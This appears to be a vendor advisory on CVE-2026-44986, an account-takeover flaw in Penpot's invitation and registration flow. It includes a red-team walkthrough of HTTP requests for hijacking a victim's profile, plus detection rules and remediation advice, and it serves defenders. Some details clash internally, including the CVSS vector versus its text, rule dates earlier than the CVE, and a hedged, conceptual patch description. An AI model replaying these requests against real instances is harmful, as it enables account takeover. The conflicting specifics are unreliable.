CVE-2026-44986
Executive Summary
CVE-2026-44986 is a critical authentication bypass vulnerability in Penpot, an open-source design and prototyping tool. The flaw allows a registered attacker to take over any non-blocked user account without knowing the victim's password. The attack chain involves three distinct weaknesses: exposure of invitation tokens, embedding of an existing profile ID during registration, and a session issuance based solely on email match without password verification. This vulnerability has a CVSS score of 9.9, indicating a critical severity. No public proof-of-concept (PoC) or exploit code is currently available, but the technical details are sufficient for a skilled attacker to develop one.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Penpot is distributed as a Docker image and via source code on GitHub. The vulnerability is in the Clojure backend (auth.clj and teams_invitations.clj). Organizations using Penpot should immediately verify their deployment version and apply the patch. There is no evidence of malicious packages in the supply chain, but the risk of account takeover is severe.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.9 (Critical)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker only needs a registered account.
- User Interaction: None (UI:N) – No victim action is needed.
- Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
- Confidentiality Impact: High (C:H) – Full access to victim's designs and data.
- Integrity Impact: High (I:H) – Attacker can modify or delete victim's projects.
- Availability Impact: High (A:H) – Attacker can lock out the victim or disrupt service.
Deep Dive & Mechanics
The vulnerability is a chain of three flaws in Penpot's authentication and invitation system:
Exposure of Invitation Tokens (
teams_invitations.clj): Thecreate-team-invitationsfunction returns invitation tokens in the API response. These tokens are meant to be secret, but they are exposed to any authenticated user who can trigger the endpoint.Embedded Profile ID (
auth.cljprepare-register-profile): When preparing a registration, the function embeds an existing profile ID into the registration request. This allows an attacker to specify which profile they want to hijack.Session Issuance Without Password (
auth.cljregister-profile): Theregister-profilefunction issues a session token based solely on the email address matching the invitation token. It does not verify the password of the existing account. Combined with the exposed token and embedded profile ID, an attacker can:- Obtain an invitation token for a target email.
- Use that token to register a new account, but with the victim's profile ID embedded.
- The system issues a session for the victim's profile without requiring the victim's password.
This allows a registered attacker to take over any non-blocked profile in the system.
Vulnerable vs. Patched Code
The vulnerable code is in the Clojure backend. The patch (version 2.14.5) likely:
- Removes the exposure of invitation tokens from API responses.
- Prevents embedding of existing profile IDs during registration.
- Enforces password verification before issuing a session for an existing account.
Vulnerable Code (Conceptual):
;; teams_invitations.clj
(defn create-team-invitations [team-id emails]
;; Returns tokens in response
{:tokens (map generate-token emails)})
;; auth.clj
(defn prepare-register-profile [token profile-id]
;; Embeds existing profile-id
{:token token :profile-id profile-id})
(defn register-profile [token password]
;; Issues session based on email match only
(let [email (get-email-from-token token)]
(if (user-exists? email)
(issue-session email) ;; No password check!
(create-new-user email password))))
Patched Code (Conceptual):
;; teams_invitations.clj
(defn create-team-invitations [team-id emails]
;; Tokens are sent via email only
(doseq [email emails]
(send-invitation-email email (generate-token email)))
{:status "invitations sent"})
;; auth.clj
(defn register-profile [token password]
(let [email (get-email-from-token token)]
(if (user-exists? email)
(if (valid-password? email password)
(issue-session email)
(throw (Exception. "Invalid password")))
(create-new-user email password))))
Exploitation & Lab Setup
Red Team
Prerequisites:
- A registered account on a Penpot instance (version < 2.14.5).
- Knowledge of the target's email address.
Exploitation Steps:
Obtain Invitation Token: Send a request to create a team invitation for the victim's email. The API response will contain the token.
POST /api/teams/123/invitations HTTP/1.1 Host: penpot.example.com Authorization: Bearer <attacker_token> Content-Type: application/json {"emails": ["victim@example.com"]}Response:
{"tokens": ["abc123token"]}Prepare Registration with Victim's Profile ID: Use the token and embed the victim's profile ID (obtained via another API or enumeration).
POST /api/auth/register/prepare HTTP/1.1 Host: penpot.example.com Content-Type: application/json {"token": "abc123token", "profile-id": "victim-profile-id"}Register and Take Over: Complete registration without providing the victim's password.
POST /api/auth/register HTTP/1.1 Host: penpot.example.com Content-Type: application/json {"token": "abc123token", "password": "attacker-chosen-password"}The server issues a session for the victim's profile.
Lab Setup:
- Deploy a vulnerable Penpot instance using Docker:
docker run -d -p 8080:80 penpotapp/penpot:2.14.4 - Create two accounts: attacker and victim.
- Execute the steps above to verify takeover.
Blue Team
Detection:
- Monitor for multiple registration attempts from the same IP using different tokens.
- Alert on API calls to
/api/auth/register/preparewith aprofile-idparameter. - Watch for rapid succession of
POST /api/teams/*/invitationsfollowed by registration endpoints.
Hunting:
- Search logs for
profile-idin registration preparation requests. - Look for sessions issued without a corresponding password validation event.
Indicators of Compromise (IOCs)
Network:
- HTTP requests to
/api/teams/*/invitationsreturning tokens in the response body. - POST requests to
/api/auth/register/preparecontaining aprofile-idfield. - POST requests to
/api/auth/registerwith a token but no valid password for an existing user.
- HTTP requests to
Logs:
- Multiple
register-profileevents for the same email from different IPs. prepare-register-profileevents with aprofile-idthat does not match the token's email.
- Multiple
System:
- Unexpected account takeover reports from users.
- New sessions for existing users without a corresponding login event.
Detection Engineering
YARA Rule
rule CVE_2026_44986_Penpot_AuthBypass {
meta:
description = "Detects Penpot authentication bypass attempts via exposed invitation tokens"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-44986"
severity = "critical"
strings:
$token_exposure = /"tokens"\s*:\s*\[/
$profile_id = /"profile-id"\s*:\s*"/
$register_no_password = /"register-profile".*"token".*"password"/
condition:
any of them
}
Sigma Rule
title: Penpot Authentication Bypass via Invitation Token Exposure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2026-44986 where an attacker uses exposed invitation tokens to take over accounts
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: nginx
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/api/teams/*/invitations'
- '/api/auth/register/prepare'
- '/api/auth/register'
condition: selection
falsepositives:
- Legitimate team invitation creation
- Normal user registration
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-44986 Penpot Authentication Bypass Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/teams/"; http_uri;
content:"/invitations"; http_uri;
content:"tokens"; http_server_body;
sid:1000001;
rev:1;
reference:cve,2026-44986;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate:
- Upgrade Penpot to version 2.14.5 or later.
- If immediate upgrade is not possible, restrict access to the
/api/teams/*/invitationsand/api/auth/register/*endpoints to trusted IPs only.
Long-term:
- Implement rate limiting on registration and invitation endpoints.
- Enforce multi-factor authentication (MFA) for all accounts.
- Conduct a security audit of the authentication and invitation flow.
- Monitor for any signs of account takeover using the IOCs provided.
Workaround:
- Disable team invitations temporarily if the feature is not critical.
- Manually review all recent registrations for anomalies.
Valters IT